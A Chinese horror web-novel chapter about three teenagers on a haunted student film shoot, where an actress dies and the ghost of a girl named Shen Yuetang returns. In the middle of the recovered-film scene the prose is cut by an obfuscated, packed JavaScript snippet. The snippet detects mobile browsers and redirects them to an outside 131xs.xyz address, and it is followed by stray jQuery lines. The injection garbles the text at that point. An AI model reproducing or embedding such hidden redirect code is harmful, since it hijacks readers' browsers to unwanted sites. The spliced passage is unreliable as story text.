她是替补上来的。
原定的女主忽称不适，副导演后台里捏着个纸条塞给她，压着嗓子：“小姜，快顶上，开拍了。上去就当你自个儿是角儿，莫慌。”
小姜穿着略大一号的白裙，裙摆拖地，缀了些汗渍。妆师拍了拍她脸：“别抖，记住，镜头是你的朋友，别眨眼。”
她点点头，嗓子眼有些发干，心在腔子里撞。
词儿不繁，动作亦不难，只是这回真真立在了光圈中央，四面八方都是亮。
轮到她了。她一脚踏进镜框中央，灯光照得她眼发花。导演喊卡，她没听清，又喊action，她愣了下，还是咬牙接戏。
心里反复默念：“别怯场，别眨眼。”
戏演到半途，胸口猛地一紧。她张口吸气，舌尖却尝到一丝腥甜。
身子软下去前，眼梢瞥见摄影灯后头的暗影里，立着一人。白裙曳地，头发散着，眼睛亮得瘆人，嘴角似乎轻轻牵了一下，像在说：“换你了。”
想喊，喉咙里堵着。
天旋地转，末了一瞬，她看见摄影机顶上那点红灯还亮着，幽幽地、定定地瞅着她，像是要把她刻进那胶片里去。
“还在演哩……” 她想着。
身子倒下时，就剩一个念头：
“戏，还没完……”
事情要说回不久前。
梧桐叶子筛下的光斑落在秦梧膝盖上。
小鹊生得白净，眉眼像是工笔描出来的。巷子里的阿婆们爱说：“你家隔壁那小囡，真真像是年画里走出来的。”这时把小鹊当自家半个闺女的秦观海会得意洋洋：“可不是？上礼拜电视台还来拍宣传片哩。”
弄堂里的小子们举着竹竿要替她打花枝。秦梧蹲在水泥管搭的“碉堡”里，看花瓣打着旋儿落在自己磨破的膝盖上——所以这样远近闻名的俊姑娘被星探挑中也是常事。
"当真不去？"小鹊踮脚立在花坛边。后头杵着个竹竿似的墨镜男人，镜片反着白光。
秦梧没抬头，只是把一小截树枝折断，丢进水泥管里，闷声道：“不去。”
“日结三百，管两餐。”她三根手指比得俏生生，语气诱拐：“你的菠菜会员费用有着落哩。”
秦梧钻出他半坐着的水泥管。“你当是扮观音菩萨？”他瞥见星探正给王阿婆递名片，“那家伙眼珠子黏你身上三天了。”
说是电影学院的毕业生，要拍个什么学生短片，拉了学校里几个漂亮的娃娃当演员。照理说这种出风头又耍帅的事情，少年不应如此排挤，可秦梧就是浑身泛鸡皮疙瘩。
弄堂这些年不时有人拐小孩、讹事，他见过那样的眼神。星探的嘴角含笑，笑意却不进眼睛。
那星探正和几个家长说话，一边分发着印着“青年影像扶持计划”的宣传单子，话里句句带“机遇”、“曝光”、“被看见”之类字眼。弄堂口几个家长动了心，拉着自家闺女问来问去，小鹊却已经当先跳下台阶，跑去和摄影师握手：“喂，你刚才说的那台旧机器，是胶片的吗？”
“是的，宝贝。”星探的镶银牙在日头下一闪，“你对器材有兴趣？”
“我家以前楼下住了个修摄像机的老爷爷，我常陪他看。”
秦梧把断枝往管底一掷。骆云影努努嘴：“怕她叫人拐了，就跟去。”
最终还是去了。
拍摄地在城西老区，一座拆了一半的文化宫旁边。过去这里是知名的胶片厂出外景地，如今只剩几栋半新不旧的厂房，被电影学院拿来“复刻年代感”。
小鹊走在最前头，秦梧跟在后头，手里拿着一根不知道捡哪来的糖画棍，嘴里碎碎念：“影棚？影棚个头，影子还没见着，我腿先断了……谁设计的路啊？全是碎砖……”
小鹊回头笑他：“你来不是为我嘛？”
“我那是怕你被人拐了！”秦梧咬碎糖片，“你脑袋上写着‘好骗’俩字，全巷子都看得见。”
“屁。”骆云影在一旁拿水瓶拧开，“她顶多骗别人。”
“你倒是来得比谁都快。”秦梧斜他一眼，“你不是说‘我最烦跟剧组沾边’？”
骆云影翻个白眼：“怕你们俩个废物脑壳不清醒，就来盯着点。”
三人吵吵闹闹进了大门。门里阴凉扑面，一下像跨了季节。外头盛夏，里头仿佛晚秋。影棚铁门上的封条在风里飘摇，褪色的红纸边活似除夕夜没贴牢的春联，那是一种说不上来的“旧”——不是灰尘或发霉的味，而像放久了的相册、阴干过的血迹，还有那种，夏天暴雨后没有晾开的湿衣服。
秦梧吸了吸鼻子：“喂，这地儿，怎么一股仙人球烂掉的味道。”
“是腐殖土和铁锈的混合，”小鹊低头看脚边，“还有点……胶片味。”
墙上还挂着一块掉漆的招牌：“第二道具间”。铁门上贴了封条，不过被人偷偷撕开过——留下撕裂的红边和几道指甲印。封条残字隐约拼凑处“沈月当”。
秦梧盯了一会儿那封条，说：“怪瘆人的。”
“可能是老鼠。”小鹊说得轻飘飘。
“老鼠还写‘沈月棠’？！”骆云影拿水瓶敲了敲门，“老鼠识字啊？”
他们进组登记时，秦梧就眼尖地瞥见了棚里那架装饰用的老式摄像机——日头在胶片堆里碎成铜钱斑。那机器罩着裹尸布似的绸缎，三脚架腿缠着褪色的红绳，像绑粽子。据说是这次片子的“主角道具”，改编自“80年代选秀失踪少女”的故事。那机器现在放在影棚中间，像被人丢进水牢的旧偶人——周围缠绕着怨气。
“小鹊。”秦梧忽然说，“我有种不好的预感。”
“你怕啦？”小鹊眨眼。
“才没有。”他撇嘴，“我怕你一进组，别人拍戏你拍鬼。”
小鹊没说话，只是手里捻着一小段摄影用胶片。似是被名字勾起了回忆，她轻轻问了人尽皆知的怪谈：“……你们信吗？说，沈月棠是自缢前录了一卷自白？”
骆云影：“竟他妈扯淡。”
小鹊忽然踮脚凑近取景器，睫毛扫过蒙尘的目镜：“你们说——”她呵出的白雾在玻璃上凝成个小月亮，“要是现在装卷，会不会拍到...”
"咔哒。"
他们三人谁都没动，却又不约而同看向二楼楼梯口。只有空空的灯壳和布景板立在那里，没有人。
骆云影沉默几秒：“……草，不行，先查查那台机器是哪来的。”
晚上是试装和排练时间，剧组人不多，天色一暗，影棚外便只剩蟋蟀和远处铁轨的声音。
三人坐在道具间后头的小食堂，几张脱皮的塑料桌，灯泡是黄的，饭菜是糊的。
桌上摆着几个便当盒，胡萝卜炒鸡蛋，素鸡红烧，还有一罐人手一罐的老牌汽水。秦梧咬着吸管，嘴里还是闲不住。
“剧组这晚饭，我给三分，多一分是看在汽水上的。”他说着把米饭拨来拨去，“这炒胡萝卜跟我的比，差了两条胡同。”
骆云影扒拉两口饭，懒得理他。
“哼。”小鹊撑着下巴，不置可否，“我们还是说回沈月棠的事情吧”
秦梧放下筷子，“我记得老家伙以前跟我说过，她年轻那会儿在胶片厂实习过，说那姑娘长得像日本电影里的女明星，有点像山口百惠那挂的。”
“她不是失踪。”骆云影语气平淡，“是死了，自缢。”
“真的假的？”
“说她死之前参加了个选秀，最后一轮是胶片摄影棚里拍形象照，结果被另一个女孩顶替。那姑娘好像是个局长的外甥女。当时传得沸沸扬扬，选秀机构第一时间澄清，说‘沈月棠自愿退出’，但后头她的尸体在文化宫发现了。吊死在楼梯转角，那年她才十七。”骆云影舀了勺浮着油星的菜汤，难得一口气解释了许多：“那楼封了快十年。去年才给电影学院申请到当作‘实验教学基地’。”
“也就是我们现在拍戏的这个影棚？” 秦梧的喉结动了动。远处铁轨传来闷响，震得汽水瓶里气泡窜成串银珠。
骆云影点头。
秦梧搓搓胳膊：“那、那台机器呢？真的就是那台当年拍她的？”
“有可能。”小鹊眼神亮晶晶的，“我看过照片，那台机器是瑞士产的手摇机，很稀有。拍她最后一张形象照的，就是这型号。”
“可也不一定就是那台。”骆云影说，“电影学院从仓库翻出来一堆旧设备，说是‘致敬年代感’，可能是碰巧。”
“可也有可能，就是那台。”小鹊不依不饶：“你们没觉得奇怪吗？为什么影棚不换新机器？为什么拍的是这个题材？”
“炒冷饭，搏噱头呗。”秦梧嘴硬。
“那你为啥还来？”
秦梧一噎，别过脸：“……我怕你出事嘛。”
拍摄结束时，天已将晚，老式摄像机在三脚架上投出扭曲的影。
那个刚才演主角的女生，正仰面躺在那里。
她的头歪向一边，嘴巴张着，眼珠上翻，像是还没从什么惊恐中挣脱。水红色戏服铺成朵将萎的海棠，指甲深深掐进织锦缎面，活生生像是要把魂魄缝进去。
秦梧嗅到丝苦杏仁味，混着摄影机齿轮的机油腥，惊得他后颈汗毛倒竖。“她是不是……她怎么了？”
“心脏病突发吧。”导演蹲下身，按住脉搏，又探了口鼻，“……人没了。”
整个剧组陷入短暂的寂静，只有摄影助理还在嗒嗒地调镜头，像没发现。
秦梧拉着小鹊退到一旁，低声道：“你有没有看到，她倒下前是不是朝你这边伸手？”小鹊摇头。
“行了，收拾收拾。” 摘表探脉的动作如菜市挑鱼，导演皱起眉头，有些嫌弃：“这和剧组没关系。她自己身体出问题，咱们不负责。”
“要不报警吧……”
“报个屁。”骆云影把水壶“咚”地砸在配电箱上，火气上头，“人都死了，压什么压？你刚才拍下来了是吧？剪出来一帧帧看看，她到底是怎么死的。”
导演阴着脸不说话，另一边的副导演已经在打电话。“她家属我们会联系，你们几个娃子先别乱说话。”
当天晚上，小鹊没回家，剧组在附近的老招待所包了几间房。因为年纪小，她和另外两个女孩挤在一间，睡的是旧木板床。
月光被老招待所的铁窗棂筛成碎银，小鹊蜷在铁架床上。邻床女孩的鼾声混着水管渗漏的滴答，吵得她睡不着。
凌晨三点，走廊地砖忽起沙沙声。小鹊睁眼时，瞥见门缝漏进一线幽光——那光映着片飘摇的裙裾残影。白纱裙褶子多，沾了点灰和斑斑锈红。影子忽地矮了半截，原是那物俯身贴上门板。老榆木门“吱呀”渗进股寒气。
"换你了。"
第二天一早，小鹊睁开眼。她去找了秦梧和骆云影；三人一起窝在废弃琴房。
晨光渗进破窗，在积灰的钢琴键上切出金箔似的斜纹。小鹊缩在断腿的琴凳上，得意洋洋：“哼哼~我肯定了，那女孩不是病死的。”
“你梦见她了？” 秦梧捏着手机屏，正在刷论坛。
“不是她。是一件白裙子。她在我耳边说——换你了。”
“……妈的。”骆云影骂出声，“那片头到底拍了个啥？这事怎么没查出个清楚？”
秦梧晃着观者发来的信息：“找到了，沈月棠案底——官方口径是跳楼。可奇怪的是——她跳楼前还特意留下了一卷遗物。拍完选拔赛那天，她拉着摄影师非要再录一段‘自述’，说是感谢老师。后来摄影师死了，三个月内，录音师车祸，化妆师割腕，导演失踪。全是事故。”
“那胶片呢？”骆云影皱眉。
“——丢了。”秦梧缓缓道，“失踪前的导演把它寄回了厂房，说是‘物归原位’。而厂房，就是咱们这次的拍摄地。”
灯在铁架上打着摆子，光斑碎在棚顶的蛛网间——随后消失了。在停电的漆黑中，场务老张摔了灯罩骂骂咧咧，电工梯子晃得铁皮桶叮当响。
有人看不下去，走了出去骂电工；有人手脚麻利地布景上粉。“消停些！”副导演搁下搪瓷缸。小鹊蹲在布景板后头，瞧见那台摄影机忽然“咔嗒”转轴
镜头缓缓对焦空场中央，转动的沙沙声里，拍了张照。场记板“啪”地坠地，惊得众人齐刷刷望去——没有演员站位，可镜头里分明是个“人”，白裙曳地如浸了月色的宣纸，发梢滴落的不知是夜露还是血珠。
导演脸色一变。
“……谁叫群演了？谁的？”
场务们面面相觑：“没有啊……”
可灯光师老李手直颤：“沈姑娘当年...就是站那光位。”
后台更衣室，三人围着监视器。
“那白影子开始反复了。”秦梧指尖戳着屏幕，“昨天也是这一段，她在镜头里重复站了五次，像是等什么cue。”画面里的白影在的布景前飘忽，水袖似的裙摆总逡巡不前。
骆云影靴尖碾着满地导演留下的烟头：“真他妈阴魂缠戏。”
小鹊咬断铅笔芯："她在等个替身。"泛黄的纸页印着《贵妃醉酒》的唱词，被她用红圈画得乱：“她为什么只盯着我？我又不入戏。”
“别咬铅笔芯，有毒。”秦梧赶紧去掰她嘴。
“她以为你是空壳好附身，”骆云影冷哼，“你的说话方式根本不像人类。”
“别吵别吵，我们先想怎么收她。今晚上，她一定会出现。”秦梧把铅笔没收了：“这种魂魄往往对生前爱做的事情执念很大。我去演戏引她，小鹊守着镜头截断投影，骆云影……你要是站舞台正中，她可能直接吓得魂飞。”
“那我站点边。”骆云影不屑地挥挥手，“省得她哭着跪下投胎。”
深夜，棚内只剩寥寥几人，主灯关掉了，只有摄影灯还亮着。
暖黄打在场地中央，孤独地明着。
秦梧立在光斑里，身上没带护符。他长相清朗，眼神一如既往地认真，仿佛真在演戏。鬼魂死前应念的台词轻声被念出：“我不会再逃了。”
白雾自地缝漫起，凝成个挽双鬟的影。绣鞋尖点过青砖，缀着的银铃铛却发不出响。那影儿飘近时，秦梧嗅到股陈年的胭脂味。
“我不会再逃了。”
她如此复读着，向秦梧走来。不是跑，是悬浮般掠过地面，带着一股影像的错帧感。
“来了，”小鹊低声说。她站在摄影机后，手里夹着一枚桃木楔子。等白裙一脚踏入圈中，果断出手。
楔子卡进片盒的刹那，捻咒指一扭，整台机器“啪”地爆开一声噪电——白裙身影剧烈扭曲，黑白噪点里炸开声婴啼般的尖啸。
“好啦~”
白裙发出短暂撕裂声，像无数个沈月棠在一起尖叫，下一秒被火舌般的阳气撕得干干净净。
事情圆满解决！
胶片找到了。
“果然观者还不是全然没用嘛。”少年召集同伴们一同观看：
【画面为8毫米老胶片质感，颗粒感重，色调泛黄，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835172|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈月棠穿着白裙坐在导演椅上，身影半虚，眼睛直勾勾看向镜头。】
“你在看我吗？”
“别眨眼。导演说镜头是真诚的，如果你眨了，就代表你在撒谎……我讨厌撒谎的人。”
“你好，我是沈月棠。不是“那位猝死的女演员”，不是“剧组的倒霉蛋”。我是有名字的，你听好了——沈·月·棠。沈是沉溺的沈，棠是海棠的棠，不是糖——我不甜。”
“那天我死的时候，我还在拍戏。他们喊了卡，但我没听见。导演喊“换人”，我心口就像被谁塞了个烫铁球。你见过人一边吐血一边演爱情戏吗？他们说我敬业，说我太入戏了。”
“他们说，我死得刚刚好。可是——你知道吗？我没拿到那场戏的尾款。”
“我把一颗牙磕在了道具楼梯上，那颗牙值三百块，是我妈给我镶的。你知道那场“落水惊魂”是冬天拍的吗？池子底下有钉子，我大腿上那条疤，他们修图都懒得修。”
“我问制片能不能换一件干净的内衣，他说：‘穿白裙的角色，脏点才像可怜人。’”
“他们说，‘你不是主角，能死在镜头里是你的荣幸。’于是我死了，笑着、带妆、在灯光下，像个被泡在福尔马林里的玻璃人偶。”
“可我没有‘杀青’。没有谢幕，没有告别，没有掌声。只有一句：‘把她扯下去，别耽误下一场。’”
“所以我回来了。“
“那你——愿不愿意，和我一起演下去？”
【画面终止，屏幕雪花闪烁，传来断断续续的胶片倒带声。】
他们仨坐在断腿琴凳上，谁也没先开口。
秦梧捏着半截糖画棍，木刺扎进指腹也浑然不觉；他有些沮丧：“……我想了想，其实那个女演员昨天不是演得很好，也不是特别漂亮，我说真的。可她倒下那瞬间，我脑子里就一直在想……是不是她知道自己会被抛弃，所以拼命抢镜。”
没人接话。
小鹊倚着裂了漆的琴身，表情淡漠。
骆云影眼皮都没抬：“她知道自己会死？你以为她是灵媒还是预言家？那鬼不是延时的——她是临死前才被缠上的。”
“可你不觉得奇怪吗？”秦梧盯着琴谱边角晕开的茶渍： “她倒下前的那个动作，她嘴巴张着，好像在说话——而且，她昨天一直在盯着小鹊看！就跟……跟在求她什么一样！”
“就算是求，”骆云影啪地把剧本一合，冷淡地道，“求的也不是我们，是镜头。你懂吗？在这种地方，要么红，要么死。”
“什么…”
“潜规则、替身、试镜、退赛。”骆云影的语调像浇冷水，毫无温度，“娱乐圈里死个新人，根本不算新闻。你看不惯，是因为你还在当观众。观众总以为自己站在道德高地上，能看清人命的分量，可他们每个月都在追新的、捧新的，然后忘了名字、换脸、洗牌。”
“你这么说，好像她死得该。”秦梧声音低了下来。见糖画棍上的饴糖早化成了琥珀色的泪，一滴一滴砸在琴凳腿的霉斑上，他赶忙拿纸巾去擦。
“我没说该。我说的是—— 这行当最金贵的可不是人命。是胶片，是收视率，是投资方酒局上的谈资。”
小鹊忽然笑了：“骆云影，你是不是也想出道啊？”
“滚。”
“我可以带你去见个导演。”她眼睛弯弯，没头没脑地说，“他以前拍过地下片子，会喜欢你这种‘反社会冷美人’。”
“小鹊，别说了。”秦梧无奈，“我知道你嘴贫，可现在不是开玩笑的时候。”
小鹊歪头：“那你说，我该怎么做？去给她烧纸？去问鬼魂‘你怨不怨’？还是拿个铃铛跳大神？”
秦梧看着她：“……我只是想弄明白，她死得是不是太轻了。”
又来了，自己青梅那微妙的人外感。
“嗯？”
“她才十七……十八？也许从小就梦想着在镜头前成为主角，也许她练了五年的形体，三年的笑容，结果临了连个替补都不是。就因为‘身体不好’，就因为‘家里没人’。就算人死了，导演说一句‘与我们无关’，就可以继续拍。她就像一根烧完的香，被掸到地上。”
小鹊没直接回话，她正认真拿鞋尖勾住垂落的蜘蛛丝，轻轻一扯，然后笑了：“那你想不想让她真的拍完那部电影？”
她语气很轻很随意，“如果她生前拼命就是为了那几秒镜头，那我们不如帮她拍出来。”
三人低头看剧本。那本剧本的最后一页正空着。没有台词，没有分镜，只有一行褪色的红字——
“她缓缓走向光中，笑得像春天。”
影棚的灯光“啪”地亮起时，骆云影刚好拎着反光板回来。他踹开挡道的朽木景片，没好气地吼了一句：“喂，谁把这块垃圾挡住灯了？”
小鹊翘着腿坐在高脚凳上，高高在上地指挥：“辛苦啦小骆同志—— 你再往左一点，这光要柔得像灶上煨的米汤。”
“你谁啊？童年女主都还没出场，你就当自己是影后了？”他靴尖碾碎只潮虫，显然十分嫌弃这拍摄条件。
“今儿我身兼数职啦。”小鹊掰着手指，“是苦等兄长的小妹，是添戏的笔杆子，还是——”她忽然蹦下凳子，“这出戏最金贵的活道具！你说我是不是该多一点光？”
“你要是再废话我就拿灯烤你。”骆云影冷冷地回，转头跟摄像确认：“打人物轮廓。你把她脑袋照出金边就行，别照出佛光。”
“阿弥陀佛，”小鹊作揖，“我从今天起要净化这个剧组。”
“你给我净化净化你嘴吧。” 秦梧从剧本堆里抬起头，“导演要的是‘天真未凿’，你倒好——”他扬了扬改得密密麻麻的台本，“活脱脱西太后垂帘听政。”
"那我便演你儿时模样。"小鹊忽然凑近，鼻尖沾的浮粉在逆光里亮晶晶的，"功课顶好，嘴皮顶利，眼珠子转得滴溜溜快。"
秦梧无奈地叹了口气：“行，你赢了，我不跟你比。”
她得寸进尺：“那你待会要坐在摄像机旁边看我演。”
“好好好，我坐。”秦梧拉过一个椅子，“你就差让我举灯打板了。”
“骆影帝才干那种粗活，我是小公主。”
拍摄正式开始时，全场安静得能听见灯管的嗡鸣。
那一幕设定是：女主童年时在老家山坡上等哥哥放学归来。小鹊赤脚蹲在黄土垒的台阶上，断树枝在掌心晃成拨浪鼓。日头斜斜切过她发梢，将倔强的侧影投在斑驳的砖墙上，恍若旧年画里走出来的童女。
“Cut——过了。” 场务们围上来递水擦汗，小鹊却蹦到灯架阴影里。骆云影正卸着反光板，锡箔面上忽地映出个毛茸茸的脑袋：“我像不像庙里偷灯油的小狐狸？”
骆云影表情懒洋洋的，“你是小时候在寺庙里长大的？”
“我是在补习班长大的。”小鹊笑，“不过我小时候也是等秦梧放学的。”
秦梧站在几米外，隔着灯光和支架，看她笑着摆手、在灯海里转了一圈。
夕照正巧穿过木格，在她周身镀了层金边。秦梧望着那渐渐消融在光晕里的轮廓，喉头忽然梗了团晒蔫的艾草。那是一种几乎宗教般的明亮，像一盏将熄的灯，最后一刻释放出的温暖。
秦梧忽然有些说不出的难受。“小鹊。”他开口叫她。
“嗯？”她回头。
他揉了揉鼻子，想说点什么，最后只是道：“走吧，回家吃饭。”